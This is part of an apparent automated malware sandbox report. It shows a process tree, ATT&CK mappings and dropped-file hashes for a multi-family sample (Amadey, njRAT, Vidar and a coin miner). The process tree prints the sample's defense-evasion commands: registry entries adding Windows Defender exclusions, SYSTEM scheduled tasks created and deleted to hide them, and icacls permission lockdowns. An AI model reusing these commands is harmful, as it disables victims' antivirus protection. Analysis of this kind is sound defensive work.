        Scheduled Task/Job: Scheduled Task
        
        PID:2660
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4684
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1112
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\zakSbz.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3260
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\zakSbz.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3424
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\zakSbz.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      System Location Discovery: System Language Discovery
      PID:396
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\zakSbz.exe" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1244
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\image.png" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:988
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\image.png" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3164
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:2016
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1560
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        
        PID:2988
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1292
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3244
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1036
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      PID:5000
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\image.png" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1540
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\thumbs.db" /inheritance:r
      4⤵
      PID:1376
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\thumbs.db" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5056
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2708
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1312
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:2156
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      System Location Discovery: System Language Discovery
      PID:4780
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:4820
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4068
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1856
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4076
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\XPSPLOG.dll" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:432
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\XPSPLOG.dll" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:236
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1616
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4556
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      System Location Discovery: System Language Discovery
      PID:1788
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:352
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:2880
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4664
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2948
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1188
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\L5xwqU" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\L5xwqU" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2128
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:556
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1216
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4820
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4852
- C:\Program Files (x86)\zakSbz\zakSbz.exe
  "C:\Program Files (x86)\zakSbz\zakSbz.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:716
- C:\Program Files (x86)\d79571\4mbiL2i2M.exe
  "C:\Program Files (x86)\d79571\4mbiL2i2M.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1004
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\zakSbz" /t REG_DWORD /d 0 /f
  2⤵
  PID:3360
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\zakSbz" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:792
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:196
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3704
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4340
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5020
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1712

C:\Users\Admin\AppData\Local\Temp\2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1312

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\d79571\XPSPLOG.dll
Size 4.6MB
SHA256 6d39f79231c5508bb2aea0c33951bd81de7fea4f6f822c366a8d98f6faf1a3c6
MD5 2dd4b16c4cdf076199bc44cbd823037e
SHA1 c0a1877524f1454af7ec8d92e98317290d252456
SHA512 fa4276e58502626e2f980e7b63edcc1e7575c6b2d4627205468efcda890883c266f9f373ad526e74565f292dd5e246c8f4e0dadd0fa0f117233fa2d8cc685274
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyf:BMWKfU+BcUTHCCCfqCiUffnf
TLSH
T1AB263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\d79571\image.png
Size 4.9MB
SHA256 9d54375cff3e657aaac03914926ce4426cbe8cac4f1ae49ff0607b29e2ebe6cf
MD5 9c932eaea40c29663619da3fe477d0ea
SHA1 c6d4a103e6426229ac6adc6afc1a3b25dc6dfc14
SHA512 5703b293602fc6b4703162650b578398e9c030d2f118ad1a2b75267370b07c7b8360305bb1d52eba91fda74f609597d8facaec2e0e460ee6b4b1fb25a25dd0de
SSDEEP 98304:h91laJeDIpYOvAtQKEvZ7KsEri5NeaJGlbvB7crmEVWgkALqQfub:hhaJeU4t9Eh7KsThJG9RcrjkbAYb
TLSH
T10636333DE55E821A64C98CD13110C3EC856DA0639B2D9EEE8C6884EC4E3597CF57ADB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\zakSbz\XPSPLOG.dll
Size 4.6MB
SHA256 ae67b507feab76fb02e69c24584d253e032fd1a6fd292b501b5562c196473c66
MD5 0571a5954411169955c4b3bc155754be
SHA1 62358d66440ea1153c9c5e1aba50fe1d65900469
SHA512 ae2b768393a5bb3b8e6031db37b020f34c81353b4c757e0e70dea56300e20616d69705729923d6052aed7ad29b7dce5a276220392a64617c322934385a1203b0
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyR:BMWKfU+BcUTHCCCfqCiUffnR
TLSH
T10E263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\zakSbz\image.png
Size 4.9MB
SHA256 ea6038f75ce469df04ca80dc2baa7fe4310c0281c6db17e4c38be4cabed3bf27
MD5 64618847a1bf20c084e76fcd1580983d
SHA1 c5fd024ced5fb54e078b618150916531ddd6ba41
SHA512 59e8a196fa0f45f1de9623bfc838899dbb0c9a048bad207ae5e11cb85eb0f978f06ad727209031e2490adb2fea83fa7e2da628ba9e188efee60adab539383ff8
SSDEEP 98304:191laJeDIpYOvAtQKEvZ7KsEri5NeaJGlbvB7crmEVWgkALqQfub:1haJeU4t9Eh7KsThJG9RcrjkbAYb
TLSH
T12936333DE55E821A64C98CD13110C3EC856DA0639B2D9EEE8C6884EC4E3597CF57ADB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\zakSbz\thumbs.db
Size 358KB
SHA256 561575668d8b4830ea12d2e6f69bf9d8946b3efc497e57da2f7bae632a5d4263
MD5 3cbcf23ab1562fbd7baff787da088fe6
SHA1 d4568d545cb5d05a58c46b4b257b532f98d1653e
SHA512 111bfd6926a0256579e97a351278665e086e84b1c4cce143b5f5e62c6e4af0e11bba4644ec49c081b59aade14b984e936c5b692df4290334e31e0b546330f9b2
SSDEEP 6144:miACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:p8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T18B74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zakSbz.exe

Path C:\Program Files (x86)\zakSbz\zakSbz.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 e64b6db41586964b89b270e0afa064a17ba450d9f71ba705d61f6ccd2146a159
MD5 81357f0972bd41fc678c1234305cb99f
SHA1 3bb1a90ec3a102c3a2d5de65a7865e34dc9d0c6b
SHA512 168ad5fb4f99643d164594df774466324d881faeb3d1cda87862b7069417d2d23ee9ba784711c9efd867498c10c24064d811abc78b3cedb755cd8068949db3f2
TLSH
T1AE21E9DB4A685EC1BF526EAA77D5C5277CF186E074B47826F11A44851B403F41F0940C
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 e3e46b82b7aaf7a0824cfd020a6db1c690d7114a3b54dffb299520cb04896573
MD5 2297fb10a6311f247c6ee3277436df14
SHA1 5c20cbcfe21435a5f37b2adb79005ccb1ad70c6f
SHA512 6078053c5a184d7dc610c76385c5d93ad8c0d2b20db65090e787a0c64d290ce92f4cbb976687909f69917725421509eb5ee4290244e05028961abea7a45b09ac
TLSH
T1C421B687D67E1D95AE064D8A0BDCDA722DE1E2D905CC148EE20FD2356C113AA2F1213D
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 bd1e0aa059e1506a71e1b90ca53b45f3ea441d7d3afe16fcbffd7f06132a1938
MD5 635d8b7559a0287119594d10aa79251c
SHA1 0163a22081a67856fe25a55e94ad39610b691ead
SHA512 974506d43be1b9fde17edd58c1921bda345274d74a56d1c4d0ca205b596cc1454d34c1673f9ed625444d8143cfffff1656e5b86a1543cbdcde3da3c011b52732
TLSH
T1ADF0DC191CF8456AF036CE3A06CDB4629A7FE212242805A820E44B0DB840E153C1157D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 db3cd73f6a310475c5c8ff557ffc8d780196917bba0dd91c7babce1647a8a72b
MD5 04c6b33703f7e363068ec4cfa5a389e0
SHA1 dd5b33b84218edd532916c34f3d30097aff2ed07
SHA512 02e6e3bdad2c4f3a389d72eecca176c12bfa378a579651a1c6ada840cbc02bc2f75c89487025f28cab5a99ac454cbefb678665096eb9681ea12f54f48a9082e6
TLSH
T11AF05C5465E5951CE2B6CF3C25D277F1C9ABB913283546FE009603187A10F502C8467C
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_4bdkju23.lpu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4bdkju23.lpu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

T3WeVm.exe

Path C:\Users\Public\L5xwqU\T3WeVm.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\L5xwqU\UxEnhance64.dll
Size 3.1MB
SHA256 32f7324493888452e9ccb901296b32f74442a2acf3493665469fb8bcf9b41a85
MD5 ae7fee0f84c1d89492a744462923a9e4
SHA1 886775af63446b8cb258c64697c939a72adaec8a
SHA512 89d3211e1c8aa57ea074799b485bd42d797b54dae05d366ffa5215d3795c782c9edebd5542a9a563d84da06f002e3bf7b8abd5e595a687549ab371deaf85da6b
SSDEEP 98304:u77mVLCUxHoMfQKKa97hJ5jIGxOLgZFh4WI8vdJ:KmVLh6Kl975jywfnI8vdJ
TLSH
T1EBE523A1B6D739F6D017C3F09692B26D71293F91AB275E0F77C87A000C57622AB36709
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\L5xwqU\adoresd.dat
Size 4.7MB
SHA256 0cef95b7bd3d803cf093f2a6f819bea84fc5bcb354909a05d9126fd3b8d6ae08
MD5 158f9261fbe7e481649c0c14ab798780
SHA1 91896d9dd3b00a72271e4538afbb4432c2b046c3
SHA512 e4e797911408308cfd370705b071386c7e669b3c0ff53c8fb504699c0d46ae19a85576282b7c1cb2dab0a4250ff58a7cbc768f0a250ae39aabb64e672e9b6848
SSDEEP 98304:hFvSi0jgcaku9VWBrKaSuMsNxVV0nEgYpBWKPGH8moKtuzoeuTF5Z5eyzvM7T:hVatVNxzgwhPGHboKtGo3ayjE
TLSH
T1583633A972C8CDDA4E6A46DC8A528E670B2A57525361602D1FF00F914BEFE9FDD1C830
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\L5xwqU\msadox.tb
Size 8KB
SHA256 26b66afb1f69b2374d0e05555a16a1735eaf0b32a4a75ce391e7ff6c7b7d3696
MD5 dbfd8150ef1acb64f092f3c2b028af51
SHA1 76db792d080fa519dc947a97855128ef1319cf7c
SHA512 2a281d384a3255efe212148422dc22d723b6625e529224558a36528bcda45b005326dac1b02e2d4512bbcdbf1a0fe69cb9f765ec854feea5983c70618a9f44ed
SSDEEP 192:6qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:6sZqZOXQ3uqvR2Kfzp
TLSH
T122029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/644-540-0x00007FFA0DA40000-0x00007FFA0DA42000-memory.dmp

Download

memory/644-532-0x00007FFA0DA30000-0x00007FFA0DA32000-memory.dmp

Download

